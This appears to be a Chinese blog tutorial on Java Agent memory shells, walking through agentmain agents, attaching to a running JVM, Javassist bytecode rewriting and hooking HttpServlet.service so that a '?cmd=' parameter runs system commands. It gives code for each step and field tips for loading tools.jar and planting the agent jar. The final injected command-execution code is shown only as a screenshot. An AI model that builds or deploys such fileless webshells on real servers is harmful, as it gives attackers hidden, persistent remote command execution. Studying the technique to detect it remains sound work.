https://boogipop.com/2023/03/02/Agent%E5%86%85%E5%AD%98%E9%A9%AC%E5%89%96%E6%9E%90/#SpringBoot%E4%B8%AD%E7%9A%84InternalDofilter%E9%93%BE

https://goodapple.top/archives/1355

agent内存马达到的效果就是:修改底层已经加载的字节码,添加恶意操作。

Java Agent 使用

分为两种agent,premain-agent的在main方法之前执行,agentmain-agent在main方法之后执行。后面要打内存马的话main方法肯定是已经启动了的,所以主要使用agentmain-agent。

premain-agent

MyAgent

package agent;
import java.lang.instrument.Instrumentation;

public class MyAgent {
public static void premain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new MyTransformer());
}
}

MANIFEST.MF

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: agent.MyAgent

然后打jar包即可。

agentmain-agent

premain方法改为agentmain。

MANIFEST.MF里的Premain-Class改为Agent-Class。

理解Instrumentation

agent的方法有这个参数。

这玩意是专门用来给Agent操作JVM字节码的。

类加载时,会调用InstrumentationImpl的transform方法。该对象有一个TransformManager,里面有一个list,保存的都是transformer。类加载的字节码依次被transform,上一次transform的结果继续传入下一次transform。transform结束就加载。

所以我们在agent里可以添加自己的Transformer,对字节码进行修改。

假如在attach agent之前就已经加载了要修改的类,那么该类在以后都不会被加载,即该字节码不会进入transform。所以我们要在agent里面检查已经加载的类,拿到我们的target,再重新transform。

agentmain-agent

public class MyAgent {
public static void agentmain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new MyTransformer(),true);
Class[] allLoadedClasses = inst.getAllLoadedClasses();

for (Class loadedClass : allLoadedClasses) {
if("javax.servlet.http.HttpServlet".equals(loadedClass.getName())){

//重新transform
inst.retransformClasses(loadedClass);
}
}
}
}

MyTransformer

public class MyTransformer implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){
String target = "javax.servlet.http.HttpServlet";

//中间是修改字节码的操作,下面讲

return new byte[0];
}
}

自己调试至MyTransformer的transform方法时的调用栈:

image-20240206200214840.png

操作JVM

由于下面注入内存马时要用到agent,而一般方法使用agent都是运行时候加-javaagent参数,但从实际注入的角度讲不可能重新运行并且加参数。所以要拿到运行程序的JVM,然后让JVM加载我们的agent。

idea中代码所在的jar包tools.jar要手动导入。

image-20240206154501926.png

public class Test {
public static void main(String[] args) throws Exception{

List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为Test则连接该JVM并加载特定Agent
//JVM名称就是main方法所在的类名
if(vmd.displayName().equals("test.Test")){

System.out.println("attach!");
//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("E:\\ideaProjects02\\memshell_agent\\out\\artifacts\\memshell_agent_jar\\memshell_agent.jar");
//断开JVM连接
virtualMachine.detach();
}

}

}
}

Javaassist使用

获取类

ClassPool pool = ClassPool.getDefault();
CtClass c = pool.getCtClass("javax.servlet.http.HttpServlet");
CtClass reqClass = pool.getCtClass("javax.servlet.ServletRequest");
CtClass resClass = pool.getCtClass("javax.servlet.ServletResponse");

获取类的方法

// 第一个是方法名,第二个是参数类型
CtMethod ctMethod = c.getDeclaredMethod("service",new CtClass[]{reqClass,resClass});

修改方法体

// 必须要花括号包住
ctMethod.setBody("{System.out.println(123);}");

使用方法参数

https://www.cnblogs.com/duanxz/p/15664172.html

插入的代码中,$0表示this,$n表示第n个参数

插入代码

//在最开头插入
ctMethod.insertBefore("System.out.println(123);");

//在结尾return之前插入
ctMethod.insertAfter("System.out.println(123);");

保存修改后的字节码

public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){

String target = "javax.servlet.http.HttpServlet";

String className = className.replace("/", ".");
if (className.equals(target)) {
System.out.println("Find the Inject Class: "+target);
ClassPool pool = ClassPool.getDefault();
try {

CtClass c = pool.getCtClass(className);

//... 中间是修改操作

byte[] bytes = c.toBytecode();
c.detach();

// 这是修改后的字节码
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
}
return new byte[0];
}

寻找hook点

有这么多铺垫,终于到达这里了。

目前我们能完成的操作:修改任意类的任意方法。

那么在springboot处理请求过程中,有哪些方法是必定执行的,我们只要hook他并加入恶意操作即可。注意不能影响正常业务逻辑。

断点打在controller,看看中间有哪些方法可以利用。

image-20240206211813279.png

理论上任何一定会被调用的方法都可以,不过还得考虑修改代码的难易程度、命令执行结果的回显方式。

这里我选的是HttpServlet的service方法,方法参数里有response用于回显。

Transformer部分的代码

image-20240206212112121.png

写一个controller,操作JVM加载我们的Agent

image-20240206212420376.png

访问/exp,再访问/?cmd=whoami即可。

image-20240206212549447.png

实际利用

1、实际环境中 tools.jar并不会在 JVM 启动的时候默认加载,可以利用URLClassloader 来加载。

File toolsPath = new File(System.getProperty("java.home").replace("jre","lib") + File.separator + "tools.jar");
URL url = toolsPath.toURI().toURL();

URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");

2、实际环境我们的Agent的jar包需要先写入到环境,JVM才能加载。